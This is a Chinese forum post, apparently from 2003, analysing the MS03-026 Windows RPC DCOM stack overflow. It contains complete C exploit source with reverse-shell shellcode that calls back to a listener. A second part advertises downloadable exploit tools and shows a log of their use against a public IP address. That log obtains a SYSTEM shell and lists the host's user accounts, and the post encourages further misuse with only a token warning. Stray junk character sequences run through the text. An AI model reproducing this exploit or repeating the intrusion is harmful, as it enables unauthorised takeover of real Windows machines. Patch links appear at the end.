LSD RPC 溢出漏洞之分析

ASEE

作者：FLASHSKY 3 Z$ i* u1 S: w作者单位：启明星辰积极防御实验室 WWW SITE：WWW.VENUSTECH.COM.CN WWW.XFOCUS.NET，WWW.SHOPSKY.COM # X$ y" E( `4 {, _8 X8 L邮件：flashsky@xfocus.org,fangxing@venustech.com.cn,webmaster@shopsky.com u8 N9 S0 t7 @0 d! a感谢BENJURRY做测试，翻译和代码的通用化处理。 邮件：benjurry@xfocus.org LSD 的RPC溢出漏洞（MS03-26）其实包含了2个溢出漏洞，一个是本地的，一个是远程的。他们都是由一个通用接口导致的。 导致问题的调用如下： % @3 k9 g7 `0 J0 r( B3 z1 ahr = CoGetInstanceFromFile(pServerInfo,NULL,0,CLSCTX_REMOTE_SERVER,STGM_READWRITE,L"C:\\1234561111111111111111111111111.doc",1,&qi); 7 j! n8 _$ \7 P% r7 f1 j这个调用的文件名参数（第5个参数，会引起溢出），当这个文件名超长的时候，会导致客户端的本地溢出（在RPCSS中的GetPathForServer函数里只给了0X220堆栈的空间，但是是用lstrcpyw进行拷贝的），这个我们在这里就不深入研究了(不过这个API先会检查本地文件是否存在，在进行处理，因此由于建不了长文件，所以要利用这个溢出不能直接调用这个API，而是构造好包信息以后直接调用LPC的函数，有兴趣的可以自己去试。),我们来讲解一下远程的溢出。 在客户端给服务器传递这个参数的时候，会自动转化成如下格式：L“\\servername\c$\1234561111111111111111111111111.doc"这样的形式传递给远程服务器，于是在远程服务器的处理中会先取出servername名，但是这里没做检查，给定了0X20（默认NETBIOS名）大小的空间，于是堆栈溢出产生了： 问题代码如下： GetPathForServer： / ^) Z% B& _& \7 T5 c6 y" n.text:761543DA push ebp J5 G0 K& a* s, c.text:761543DB mov ebp, esp a. L' ?% ~" f4 g1 v' ?7 ~6 W% |( n.text:761543DD sub esp, 20h <-----0x20空间 " b6 G- R* {* e. y.text:761543E0 mov eax, [ebp+arg_4] .text:761543E3 push ebx 9 B# D' W5 `' a! B.text:761543E4 push esi 6 X4 j& G- M1 U! N5 A" n.text:761543E5 mov esi, [ebp+hMem] .text:761543E8 push edi .text:761543E9 push 5Ch 3 K' R7 a+ ~. }( {.text:761543EB pop ebx .text:761543EC mov [eax], esi .text:761543EE cmp [esi], bx .text:761543F1 mov edi, esi .text:761543F3 jnz loc_761544BF .text:761543F9 cmp [esi+2], bx y2 B# c5 m. W% ?8 b+ a2 B.text:761543FD jnz loc_761544BF 1 {) V# D9 B; L" Y.text:76154403 lea eax, [ebp+String1]《-----------写入的地址，只有0X20 $ u" z$ g4 K. r5 a: m6 C.text:76154406 push 0 .text:76154408 push eax 7 M! M8 {2 P& e6 e/ k.text:76154409 push esi 〈----------------------我们传入的文件名参数 ! k: j/ ^ O( X; h' |0 }7 ?.text:7615440A call GetMachineName 。。。。。。。。。。。。。。。。。。。。。。。。。。 此函数返回的时候，溢出点生效 GetMachineName: O! `3 ?2 v" V1 C' s& |& |/ B0 m.text:7614DB6F mov eax, [ebp+arg_0] .text:7614DB72 mov ecx, [ebp+arg_4] .text:7614DB75 lea edx, [eax+4] 0 \: U, l( Y3 ^9 L0 p.text:7614DB78 mov ax, [eax+4] .text:7614DB7C cmp ax, 5Ch 〈-----------------只判断0X5C - X ?) F3 X# v. ?4 N# r( c' H9 L.text:7614DB80 jz short loc_7614DB93 .text:7614DB82 sub edx, ecx .text:7614DB84 .text:7614DB84 loc_7614DB84: ; CODE XREF: sub_7614DA19+178j .text:7614DB84 mov [ecx], ax 〈----------------写入上个只有0X20的空间，超过就溢出 K* p. n$ ]8 ?2 \1 b, O0 o% I: ^5 i. {; t.text:7614DB87 inc ecx .text:7614DB88 inc ecx .text:7614DB89 mov ax, [ecx+edx] 3 H d; B: f. Q1 k5 }, z: k.text:7614DB8D cmp ax, 5Ch / i$ b$ j: k8 w% c& `% Y.text:7614DB91 jnz short loc_7614DB84 .text:7614DB93 3 I% V* {- n+ [, |4 h% |) g, F ; W7 L* M" ]) F4 e! q; g9 `OK，我们现在就需要想法来利用这个漏洞，由于\\SERVERNAME是由系统自动生成的，我们只能利用手工直接生成RPC的包来实现，另外SHELLCODE中不能包含0X5C，因为这样判断就是\\SERVERNAME结束了。 下面就给出一个实现的代码，注意点如下： 1.由于RPCRT4，RPCSS中没有JMP ESP的代码，这里使用了OLE32.DLL中的，但是这可能是会重定位的，大家测试的时候 * q0 m% e6 p/ N+ U. [! S( B5 [& D需要再确定或自己找一个存在的JMP ESP的代脉，我的这是WIN2000+SP3上的地址且OLE32未重定位情况下的。 # }% A! {- }. Q* K) u! R' `2。这里使用了反向连接的SHELLCODE，需要先运行NC * K: E) ]3 s0 C8 W3。程序中的SC的整体长度必须满足sizeof(sz)%16=12的关系，因为不是整数的话，整个包的长度会有一些填充，那么 ; _7 s. U. I! J. i2 j& k计算就不满足我这里给出的一个简单关系了，会导致RPC包的解析无效果。 9 K, Y6 W" U+ j" `$ u4。在溢出返回前，返回地址后面的2个参数还会使用，所以需要保证是个内存可写空间地址。 1 G7 m- m* }; X w' b9 e+ S5，这里是直接使用堆栈溢出返回的，其实大家也可以尝试一下覆盖SEH，这里就不再多讲了。 #include #include #include #include 6 P s' p7 \1 A M) _; j% o2 x; I9 Z. w#include #include 1 G6 I4 o9 c& ^9 `2 u& G; aunsigned char bindstr[]={ ( `2 L6 G W6 x! L+ B y, h0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00, . v7 p) W' Y6 z9 S8 V; x, y0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00, ; V0 _$ w/ s l, @% S1 Z0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00, 0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00, : C% k8 o8 ^' Z. T g& n0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00}; 5 n! W/ `& l* ~2 @5 ]" T* k: wunsigned char request1[]={ * |+ D8 j5 S' {0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03 ,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00 * b' y! J* ]" A& x4 h# }% c,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45 ,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00 4 A. A$ E4 n/ j* Z,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E 7 f0 s V# J+ f,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D ,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41 : h$ e/ U4 ~3 v' w5 s,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00 7 r, N& e8 K3 `1 d+ ^,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45 ,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 ,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 ,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03 ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00 8 I. |& `0 E8 z# z" F,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29 ,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00 : u' z3 i7 N/ \# w,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00 & i) H0 @8 C, R$ F: N4 a% q" K,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00 5 c5 A7 M" H# M( ?,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00 ,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00 & p }8 ?0 G, _0 M,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF ,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 , d, d- O9 ^/ E, U7 T,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 5 G1 \* R2 t# _,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09 4 z% I5 b8 y" e$ O' f: ],0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00 ' p1 h B: }) c2 e$ M7 I,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00 ,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00 * x6 o$ s X" L- a' v7 t$ Y/ `,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00 & O; I' I: U s9 v/ H( `,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 2 a' m: U2 q# G7 j2 _5 [- Y,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00 ,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01 - l0 G, W7 w- n8 s6 X( g,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03 9 _8 L' i7 L4 F$ k,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00 ,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E ,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00 ,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00 7 @+ k4 X! e8 u- s( S+ |,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00 % [; q" R o# W- y% q) c,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00 / {# j; H6 w. {) _) }1 `,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00 " _$ y! k! W) x: A+ U+ o,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 & m9 `8 f) L! s: |,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00 ,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00}; unsigned char request2[]={ 0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00 ,0x00,0x00,0x5C,0x00,0x5C,0x00}; unsigned char request3[]={ 0x5C,0x00 8 l& `, t, W, J X: e! Y,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00 ,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 ,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 ,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00}; 8 J7 V% B' @3 U9 e& D7 Y( n % k1 [# N: X5 K' R, Eunsigned char sc[]= "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00" "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00" ! O+ N( ~7 L" K. I# r( {7 T" ~"\x46\x00\x58\x00" 1 ?: P" v" W4 v; v1 O1 B/ j"\x46\x00\x58\x00\x25\x2b\xaa\x77" //JMP ESP地址 IN ole32.DLL，可能需要自己改动 "\x38\x6e\x16\x76\x0d\x6e\x16\x76" //需要是可写的内存地址 //下面是SHELLCODE，可以放自己的SHELLCODE，但必须保证sc的整体长度/16=12，不满足自己填充一些0X90吧 ) L# Y0 T5 f9 ]& R, ?4 i6 s//SHELLCODE不存在0X00，0X00与0X5C 7 h1 [7 k9 k+ T( E0 |"\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01" . k2 W7 V% O* l2 P* f9 r* A C"\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30" "\x93\x40\xe2\xfa" 5 Y* I- H; i6 ~$ H: w) _' R# E// code "\x7b\xe4\x93\x93\x93\xd4\xf6\xe7\xc3\xe1\xfc\xf0\xd2\xf7\xf7\xe1" "\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xdf\xfa\xf1\xe1\xf2\xe1\xea\xd2" 0 n- k- V+ W7 h9 f7 b l; M"\x93\xd0\xe1\xf6\xf2\xe7\xf6\xc3\xe1\xfc\xf0\xf6\xe0\xe0\xd2\x93" 9 h, `2 e u( \"\xd0\xff\xfc\xe0\xf6\xdb\xf2\xfd\xf7\xff\xf6\x93\xd6\xeb\xfa\xe7" "\xc7\xfb\xe1\xf6\xf2\xf7\x93\xe4\xe0\xa1\xcc\xa0\xa1\x93\xc4\xc0" "\xd2\xc0\xe7\xf2\xe1\xe7\xe6\xe3\x93\xc4\xc0\xd2\xc0\xfc\xf0\xf8" 9 D/ \3 U4 C c8 M"\xf6\xe7\xd2\x93\xf0\xff\xfc\xe0\xf6\xe0\xfc\xf0\xf8\xf6\xe7\x93" , P; y0 F$ ^( q/ h"\xf0\xfc\xfd\xfd\xf6\xf0\xe7\x93\xf0\xfe\xf7\x93\xc9\xc1\x28\x93" * u+ w ?; V3 n' M' O"\x93\x63\xe4\x12\xa8\xde\xc9\x03\x93\xe7\x90\xd8\x78\x66\x18\xe0" ) ~% b' y( F" T U+ [- x6 x"\xaf\x90\x60\x18\xe5\xeb\x90\x60\x18\xed\xb3\x90\x68\x18\xdd\x87" "\xc5\xa0\x53\xc4\xc2\x18\xac\x90\x68\x18\x61\xa0\x5a\x22\x9d\x60" "\x35\xca\xcc\xe7\x9b\x10\x54\x97\xd3\x71\x7b\x6c\x72\xcd\x18\xc5" + W8 L. |3 l! l6 u"\xb7\x90\x40\x42\x73\x90\x51\xa0\x5a\xf5\x18\x9b\x18\xd5\x8f\x90" & `( Q% p6 z& C"\x50\x52\x72\x91\x90\x52\x18\x83\x90\x40\xcd\x18\x6d\xa0\x5a\x22" "\x97\x7b\x08\x93\x93\x93\x10\x55\x98\xc1\xc5\x6c\xc4\x63\xc9\x18" $ k C( V7 @4 Q; S5 t"\x4b\xa0\x5a\x22\x97\x7b\x14\x93\x93\x93\x10\x55\x9b\xc6\xfb\x92" "\x92\x93\x93\x6c\xc4\x63\x16\x53\xe6\xe0\xc3\xc3\xc3\xc3\xd3\xc3" "\xd3\xc3\x6c\xc4\x67\x10\x6b\x6c\xe7\xf0\x18\x4b\xf5\x54\xd6\x93" 3 D1 N5 `) A9 g: w"\x91\x93\xf5\x54\xd6\x91\x28\x39\x54\xd6\x97\x4e\x5f\x28\x39\xf9" "\x83\xc6\xc0\x6c\xc4\x6f\x16\x53\xe6\xd0\xa0\x5a\x22\x82\xc4\x18" "\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce" 9 S. I3 s. d7 F" f' I# d"\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6" ( t2 e+ V/ ~+ ?/ ?"\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7" "\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4" "\x7f\x19\x95\xd5\x17\x53\xe6\x6a\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca" "\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90" 9 c2 E. ~1 L% y% ]"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; ! A: y! D- V. W M( Kunsigned char request4[]={ 0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00 " n; K/ _! {% }8 P: F: D,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C ,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00 2 R8 q8 _ g* s4 u4 c$ R7 E}; void main(int argc,char ** argv) 3 j2 e2 B8 X$ i0 y; j. f{ 4 T( O% { [0 y) T$ T( tWSADATA WSAData; 4 u3 c; D+ U* K: M+ ?$ o5 oSOCKET sock; int len,len1; SOCKADDR_IN addr_in; short port=135; unsigned char buf1[0x1000]; " {1 [* }( Z3 i8 l! w, q* q& a P# Dunsigned char buf2[0x1000]; unsigned short port1; DWORD cb; if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0) 8 M) I# Q! a3 Z& r8 c{ : U5 Y J0 Y% ^- ]" M% x. Vprintf("WSAStartup error.Error:%d\n",WSAGetLastError()); ?( ~" z2 B- ]return; } ; W" N8 j$ R* [/ n& Eaddr_in.sin_family=AF_INET; addr_in.sin_port=htons(port); 1 e! a n: O' D. t& ]) N8 |4 Z Oaddr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]); if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET) 6 [9 X( A1 I( E8 M{ ( A2 Z& f' {( E( Qprintf("Socket failed.Error:%d\n",WSAGetLastError()); ( V0 {1 _+ {4 K4 @2 g% D' c) ireturn; ' b& h6 G, s' W7 p: }7 R/ ~8 q8 r, j} 9 Y- s8 _" Q* b; q/ Wif(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR) { 4 x) s$ O% L; v3 l6 v% xprintf("Connect failed.Error:%d",WSAGetLastError()); return; } ' N, N# L* A0 xport1 = htons (2300); //反向连接的端口 7 g* w6 u9 Q2 R1 X$ Y# y! Vport1 ^= 0x9393; cb=0XD20AA8C0; //反向连接的IP地址，这里是192。168。10。210， cb ^= 0x93939393; 2 E- {; f, y; E; f6 a5 W |3 m*(unsigned short *)&sc[330+0x30] = port1; *(unsigned int *)&sc[335+0x30] = cb; ; l( i% P0 Q7 G* V# D3 ]len=sizeof(sc); ' K6 Z+ r1 M$ b0 d0 y, \! U3 M Zmemcpy(buf2,request1,sizeof(request1)); len1=sizeof(request1); , I! y$ Z6 w- `. S" A% L# Z/ K*(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sc)/2; //计算文件名双字节长度 *(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sc)/2;//计算文件名双字节长度 memcpy(buf2+len1,request2,sizeof(request2)); # V' v0 e" v- [! t# _+ a' Rlen1=len1+sizeof(request2); memcpy(buf2+len1,sc,sizeof(sc)); len1=len1+sizeof(sc); memcpy(buf2+len1,request3,sizeof(request3)); : W( M8 I6 w( |# \4 jlen1=len1+sizeof(request3); 6 ` }( U) O2 d5 kmemcpy(buf2+len1,request4,sizeof(request4)); ; K1 ~ s+ ~) ^0 a, Flen1=len1+sizeof(request4); 3 p- h" k$ p) ?; c; D( r! K*(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+sizeof(sc)-0xc; # e g* U9 F+ A$ |3 U* \4 v# H//计算各种结构的长度 ; U B& c+ W, |& R+ ^*(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+sizeof(sc)-0xc; *(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+sizeof(sc)-0xc; 0 H8 M1 G; ]8 w0 L) h*(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+sizeof(sc)-0xc; " X4 ]. Y! A$ s! j*(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+sizeof(sc)-0xc; *(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+sizeof(sc)-0xc; *(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+sizeof(sc)-0xc; *(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+sizeof(sc)-0xc; if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR) { . u1 I. k3 |# @ yprintf("Send failed.Error:%d\n",WSAGetLastError()); 2 _* J* k8 u0 P$ l6 n+ [return; } ; \# M* f5 z- W3 A7 H1 Clen=recv(sock,buf1,1000,NULL); $ `3 R: g# k/ b( p7 wif (send(sock,buf2,len1,0)==SOCKET_ERROR) { 9 U# Z7 E/ G/ i t# E2 Mprintf("Send failed.Error:%d\n",WSAGetLastError()); Q8 I. y4 C' B" f1 T4 u) B" Qreturn; } len=recv(sock,buf1,1024,NULL); * K- s7 C3 M: \, X% p2 z! J} 2 V5 I* Z3 U" Z0 l# V) q 补丁机理： 补丁把远程和本地的溢出都补了，呵呵，这个这么有名的东西，我也懒得多说了。 3 S; k* C) c& a" D$ H' g% P/ v 补记： 8 c) U& M7 s+ _( v7 z: [& `由于缺乏更多的技术细节，搞这个从上星期五到现在终于才搞定，惭愧，不过值得庆幸的是其间发现了RPC DCOM DOS的漏洞。先开始被本地溢出的迷惑了很久，怎么也无法远程进入这个函数，最后偶然的一次，让我错误的看花了眼，再远程调用的时候，以为GETSERVERPATH是存在本地溢出的GetPathForServer函数，，心中以为远程进入了GetPathForServer函数，仔细的跟踪，这才发现问题所在。感谢所有关心和指导我的同志们。

ASEE

攻击：XDcom.rar远程溢出攻击程序里有chdcom和endcom 2个溢出攻击程序 * q* F h) ]2 W2 nchdcom针对以下版本: & S2 }, U/ `2 B* z3 G" @$ x& ~- 0 Windows xp SP1 (cn) - 1 Windows 2000 SP3 (cn) - 2 Windows 2000 SP4 (cn) - 3 Windows 2000 SP3 (english) ; ?/ T/ l: `8 K$ B- 4 Windows 2000 SP4 (english) - 5 Windows XP SP0 (english) - 6 Windows XP SP1 (english) Usage: chdcom cedcom针对以下版本: - 0 Windows 2000 SP0 (english) ! f: x9 i- z" ~4 E9 n3 N L N: {- 1 Windows 2000 SP1 (english) 8 S# B$ u* g( q# ]( D- 2 Windows 2000 SP2 (english) 7 j4 e& O* S6 E2 h- 3 Windows 2000 SP3 (english) - 4 Windows 2000 SP4 (english) - 5 Windows XP SP0 (english) - 6 Windows XP SP1 (english) 1 x h3 C9 x8 W' E& Y PUsage: endcom % o9 m" @* e# r2 r& q( r6 S/ xcygwin1.dll应用程序扩展 : w$ ]5 [; |8 ^+ }' b8 e1 F溢出目标IP前.先用扫描器扫描开135端口的肉机. 我已经测试近百台主机，当然都开了135的。我是用80来作为判断Target ID的标准。应该不会有错的。其中产生DOS（也就是说明益处成功）为%70左右， $ u7 H2 s: h8 y! X+ J! g- e 比如说目标69.X.173.63开了135端口.Target ID是4 C:\dcom>chdcom 4 69.X.173.63 5 T+ ?% b# U9 d5 }& b--------------------------------------------------------- - Remote DCOM RPC Buffer Overflow Exploit - Original code by FlashSky and Benjurry 0 u: Z- S& o; l- Rewritten by HDM last - last by nic -Compiled and recorrected by pingker! + ?+ a @6 y2 h- Using return address of 0x77f92a9b 1 O5 h% v% U. i9 \2 a- Dropping to System Shell... ; }6 [( B" A3 A* F! Y Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp. 8 [% K" ^! D: [ . j: z' D- J9 H- c7 YC:\WINNT\system32> 成功溢出. 7 ]9 b) P! m8 ?; V8 C8 ZC:\WINNT\system32>net user net user User accounts for \ ---------------------------------------------------------------------------- --- Administrator ASPNET billbishopcom divyanshu ebuyjunction edynamic1 $ K) q5 f/ ?% @3 B, U. cedynamic2 Guest infinityaspnet infinityinformations IUSR_DIALTONE IUSR_NS1 5 v( R! j* {9 }9 H7 H; ~7 BIWAM_DIALTONE IWAM_NS1 SQLDebugger TsInternetUser WO # @; k t2 g( K# I: f, T8 e' ^The command completed with one or more errors. 这样一来你想干什么就是你的事了. 这版本我已成功测试,70%成功率,可怕!!!,但EXIT目标后再溢出只得等目标 + D$ D4 d; r) G8 l* F7 \3 t* a Z重启才行. CN可以是繁体或简体中文颁本. 再次警告:不要对付国内主机!!!!!后果自负!!!! 3 F% j6 S2 k6 w$ D: ^XDcom.rar远程溢出攻击程序下载: http://www.cnse8.com/opensoft.asp?soft_id=206&url=3

ASEE

补丁：
' `( V6 L+ `" OWindows NT 4.0 Server ：

http://microsoft.com/downloads/d ... &displaylang=en
0 s8 I; B- B! E2 c
$ j8 b7 Z; r; nWindows NT 4.0 Terminal Server Edition：
; f6 j) T* f; c6 y7 l/ s5 o
http://microsoft.com/downloads/d ... &displaylang=en

4 `. e: K! D5 y. a5 iWindows 2000：

) {; x0 m; N- u6 _$ S/ D, Mhttp://microsoft.com/downloads/d ... &displaylang=en
" ?, L/ Y3 c4 T* h' W9 q（中文）http://microsoft.com/downloads/details.aspx?displaylang=zh-cn&FamilyID=C8B8A846-F541-4C15-8C9F-220354449117
0 x2 B: T9 d: k# l8 B) e7 r
5 T/ h  m$ j7 H% i2 z2 p) U9 m- w- yWindows XP 32 bit Edition ：

# l+ V% D$ J+ i5 X/ W5 S& Whttp://microsoft.com/downloads/d ... &displaylang=en

Windows XP 64 bit Edition：
1 T  p8 K  u2 F* q) Q5 H
. y& L0 S) n6 X, xhttp://microsoft.com/downloads/d ... &displaylang=en
1 {9 h$ J1 u2 U: j3 H7 S" B
  M  Q' R1 o' ~7 j) yWindows Server 2003 32 bit Edition：
# `; I# B  E; m
  t( t5 p8 C; T$ K  P. A' i0 L4 f" {http://microsoft.com/downloads/d ... &displaylang=en

5 c4 Z0 C: G3 m9 s# @' v7 a* |2 C! dWindows Server 2003 64 bit Edition：

